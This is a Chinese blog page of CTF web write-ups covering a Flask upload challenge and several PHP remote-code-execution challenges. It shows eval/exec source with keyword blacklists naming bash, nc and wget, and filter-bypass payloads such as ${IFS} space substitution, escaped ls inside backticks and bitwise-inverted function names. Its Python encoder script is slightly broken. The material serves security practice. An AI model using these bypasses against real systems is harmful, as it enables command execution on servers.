当前位置: 首页 > news >正文

随便刷刷web题

Flask_FileUpload 【独特的文件上传】

开启环境后是一个文件上传,我们先随便上传一个看看查看源码可以看到有提示但是当我们访问那个上传路径是不成功的,我们在返回上传界面查看一下源码注意一下,将会通过python返回我们一个运行结果,然后注意我们刚才的那个上传成功的提示里就是含有python,所以这里我们就去看一下,大概是用了os,去搜索看一下python的os可以看到能够运行shell命令,所以我们就写一个text文件上传试试

不成功,我们就再试试更改文件后缀名来试试

文件上传成功了,但是我们需要去改一下名字这里我们就看到了flag,那我们就再更改一下那个文件的内容,成功得到了flag

[SWPUCTF 2021 新生赛]babyrce【rce的空格绕过+cookie注入】

进入环境后得到的源代码

 <?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1) 
{include "../next.php";
}
elseecho "小饼干最好吃啦!";
?> 

我最大的困难就是那个cookie的验证,看了别人的wp知道了在hackbar中开启cookie后更改,就得到了回应

然后我们访问这个php文件,得到再一个源代码,就有了get传参了,先ls看一下本目录

因为有一个正则检测,preg_match("/ /"),需要绕过空格,我们就选择用${IFS}来绕过

看到了flag的文件,就去cat它,记住这个flag文件是在根目录下的,所以参数?url=cat${IFS}/flllllaaaaaaggggggg

[SWPUCTF 2021 新生赛]easyrce

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?>

 简单分析一下这个源码:

php代码中,关闭所有报错信息,高亮显示当前文件的源代码,然后用if语句进行条件判断!它检查是否存在url参数进行get传参如果存在就执行,不存在就不进行下一步

环境中可以看到源码,直接进行ls可以看到有回显

那就再看一下根目录找到了flag的文件,cat它

[SWPUCTF 2021 新生赛]hardrce

开启环境,看到源代码

<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{$wllm = $_GET['wllm'];$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];foreach ($blacklist as $blackitem){if (preg_match('/' . $blackitem . '/m', $wllm)) {die("LTLT说不能用这些奇奇怪怪的符号哦!");}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{echo "蔡总说:注意审题!!!";
}
?>

关键在于这里有黑名单,禁用了一大串的字符和所有字母

那么这个简单看了就是无字母的rce了

那么我们可以想到取反、异或 或者 自增

但是这里我们看到异或(^和`)和自增(+和[ ])的标志性字符都被禁用了 

所以就利用取反

通用的取反代码

#!/usr/bin/env python
# -*- coding: UTF-8 -*-# 获取用户输入的函数名和命令
system = input('[+]your function: ').replace('\r\n', '').replace('\r', '').replace('\n', '')
command = input('[+]your command: ').replace('\r\n', '').replace('\r', '').replace('\n', '')# 按位取反并转换为字节
def invert_to_bytes(s):return bytes([(~ord(c)) & 0xFF for c in s])# 生成URL编码后的字符串
encoded_system = urlparse.quote(invert_to_bytes(system))
encoded_command = urlparse.quote(invert_to_bytes(command))# 输出最终结果
print(f'[*] (~{encoded_system})(~{encoded_command});')

运行后输入我们的函数和命令

就可以得到取反的结果

[SWPUCTF 2021 新生赛]finalrce

看源码

<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{$url=$_GET['url'];if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url)){echo "Sorry,you can't use this.";}else{echo "Can you see anything?";exec($url);}
}

这里简单看一下,是传入参数url

但是看最后一句 ,exec($url)是无回显  函数的执行不会出现

那么我们就将执行结果写入一个文件中去访问这个文件就是了

这里没有执行的显示

直接去访问1.txt

访问后看到了flag的存在

那么就去cat该文件

但是这里我们得注意黑名单的内容

所以进行绕过

然后再去访问a.txt

[UUCTF 2022 新生赛]ez_rce

这里首先是我们拿到了源码

<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){$code=$_GET['code'];if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){echo '看看你输入的参数!!!不叫样子!!';echo '<br>';eval($code);}else{die("你想干什么?????????");}
}
else{echo "居然都不输入参数,可恶!!!!!!!!!";show_source(__FILE__);
}

这里主要就是禁用了一系列的常见的php的代码

这也就需要我们进行绕过

而当成功绕过后,可以看到code变量是直接被eval函数所执行的

那么其实就不再能用system函数了

所以就在内层用print

这里由于ls被禁用了

就使用l\s

可是print函数如果直接使用单双引号会出现直接输出为文本

那么我们还可以使用反引号


反引号 ` ` 和单引号 '' 和双引号 "" 区别

单引号 和 双引号 是用来定义变量。而 反引号 则是用来命令替换的。
$()反引号 都是命令替换 功能符号,反引号 (`) 位于键盘的 Tab 键 的上方,1 键的左方。注意与单引号(')位于Enter键的左方的区别。
命令替换是指shell能够将一个命令的 标准输出 插在一个命令行中任何位置。

[root@localhost home]# echo the date is `date`  #shell会执行反引号中的 date 命令,把结果插入到 echo 命令中。
the date is Mon May 24 19:15:13 PDT 2021
[root@localhost home]# 

 所以payload:

?code=print(`l\s`);

成功后再去访问根目录

 [SWPUCTF 2021 新生赛]hardrce_3

相关文章:

  • JUC笔记(上)-复习 涉及死锁 volatile synchronized CAS 原子操作
  • 为什么 AI 理解不了逻辑问题?
  • Linux系统之grub-mkrescue详解
  • 永磁同步电机参数辨识算法--IPMSM拓展卡尔曼滤波全参数辨识
  • 免费批量去水印工具 - 针对文心一言生成图片
  • 深入解析对比学习:原理、应用与技术实现
  • CSS高级技巧及新增属性
  • 第16届蓝桥杯青少Stema11月 Scratch编程——初/中级组真题——行走的图形
  • [蓝桥杯 2024 国 B] 蚂蚁开会
  • mq安装新版-3.13.7的安装
  • LLMs 系列科普文(14)
  • 由汇编代码确定switch语句
  • Digital IC Design Flow
  • C++修炼:C++11(三)
  • Java并发编程实战 Day 14:并发编程最佳实践
  • 华为OD机考-内存冷热标记-多条件排序
  • 强化学习入门:交叉熵方法数学推导
  • 把二级域名绑定的wordpress网站的指定页面
  • 计组_导学
  • java复习 05
  • 做头像的网站空白/百度云登录入口
  • 彩票网站建设平台/推广文章的推广渠道
  • 开宾馆做独家网站好吗/推广渠道平台
  • 做神马网站快速排/企业营销策划有限公司
  • 本地服务器公网ip wordpress/广州seo网站公司
  • 建设网站需要虚拟空间/宁国网络推广